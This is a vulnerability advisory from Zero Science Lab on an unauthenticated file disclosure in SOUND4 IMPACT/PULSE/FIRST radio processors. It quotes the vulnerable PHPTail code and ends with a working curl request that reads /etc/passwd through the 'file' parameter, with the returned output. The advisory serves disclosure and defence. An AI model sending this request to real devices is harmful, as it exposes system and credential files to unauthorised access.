Authored by LiquidWorm | Site zeroscience.mk

SOUND4 IMPACT/FIRST/PULSE/Eco version 2.x and below suffer from an unauthenticated file disclosure vulnerability.


SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x (PHPTail) Unauthenticated File Disclosure


Vendor: SOUND4 Ltd.
Product web page: https://www.sound4.com | https://www.sound4.biz
Affected version: FM/HD Radio Processing:
Impact/Pulse/First (Version 2: 1.1/2.15)
Impact/Pulse/First (Version 1: 2.1/1.69)
Impact/Pulse Eco 1.16
Voice Processing:
BigVoice4 1.2
BigVoice2 1.30
Web-Audio Streaming:
Stream 1.1/2.4.29
Watermarking:
WM2 (Kantar Media) 1.11

Summary: The SOUND4 IMPACT introduces an innovative process - mono and
stereo parts of the signal are processed separately to obtain perfect
consistency in terms of both sound and level. Therefore, in moving
reception, when the FM receiver switches from stereo to mono and back to
stereo, the sound variations and changes in level are reduced by over 90%.
In the SOUND4 IMPACT processing chain, the stereo expander can be used
substantially without any limitations.

With its advanced functionalities and impressive versatility, SOUND4
PULSE gives clients the ultimate price - performance ratio, providing
much more than just a processor. Flexible and powerful, it ensures perfect
sound quality and full compatibility with radio broadcasting standards
and can be used simultaneously for FM and HD, DAB, DRM or streaming.

SOUND4 FIRST provides all the most important functionalities you need
in an FM/HD processor and sets the bar high both in terms of performance
and affordability. Designed to deliver a sound of uncompromising quality,
this tool gives you 2-band processing, a digital stereo generator and an
IMPACT Clipper.

Desc: The application suffers from an unauthenticated file disclosure
vulnerability. Using the 'file' GET parameter attackers can disclose
arbitrary files on the affected device and disclose sensitive and system
information.

========================================================================
/usr/cgi-bin/loghandler.php:
----------------------------
05: require 'phptail.php';
06: /**
07: * Initilize a new instance of PHPTail
08: * @var PHPTail
09: */
10: if(isset($_GET['file'])) {
11: $file=$_GET['file'];
12: $file_display=$_GET['file_display'];
13: } else {
14: $file=getenv("PATH_TRANSLATED");
15: $file_display="SOUND4 Log: " . getenv("PATH_INFO");
16: }
17: $tail = new PHPTail($file, $file_display);

========================================================================
/usr/cgi-bin/phptail.php:
-------------------------
71: $data = array();
72: if($maxLength > 0) {
73:
74: $fp = fopen($this->log, 'r');
75: fseek($fp, -$maxLength , SEEK_END);
76: $data = explode("n", fread($fp, $maxLength));
77:
78: }
79: /**
80: * If the last entry in the array is an empty string lets remove it.
81: */
82: if(end($data) == "") {
83: array_pop($data);
84: }
85: return json_encode(array("size" => $fsize, "data" => $data));
========================================================================

Tested on: Apache/2.4.25 (Unix)
OpenSSL/1.0.2k
PHP/7.1.1
GNU/Linux 5.10.43 (armv7l)
GNU/Linux 4.9.228 (armv7l)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience


Advisory ID: ZSL-2022-5736
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5736.php


26.09.2022

--


> curl -k "https://RADIOGAGA/cgi-bin/loghandler.php?ajax=251&file=/mnt/old-root/etc/passwd" | python -m json.tool
{
"size": 519,
"data": [
"root:x:0:0:root:/root:/bin/sh",
"daemon:x:1:1:daemon:/usr/sbin:/bin/false",
"bin:x:2:2:bin:/bin:/bin/false",
"sys:x:3:3:sys:/dev:/bin/false",
"sync:x:4:100:sync:/bin:/bin/sync",
"mail:x:8:8:mail:/var/spool/mail:/bin/false",
"www-data:x:33:33:www-data:/var/www:/bin/false",
"operator:x:37:37:Operator:/var:/bin/false",
"nobody:x:99:99:nobody:/home:/bin/false",
"sound4:x:1000:1000::/home/sound4:/bin/sh",
"avahi:x:1001:1001::/:/bin/false",
"dbus:x:1002:1002:DBus messagebus user:/var/run/dbus:/bin/false",
"sshd:x:1003:1004:SSH drop priv user:/:/bin/false"
]
}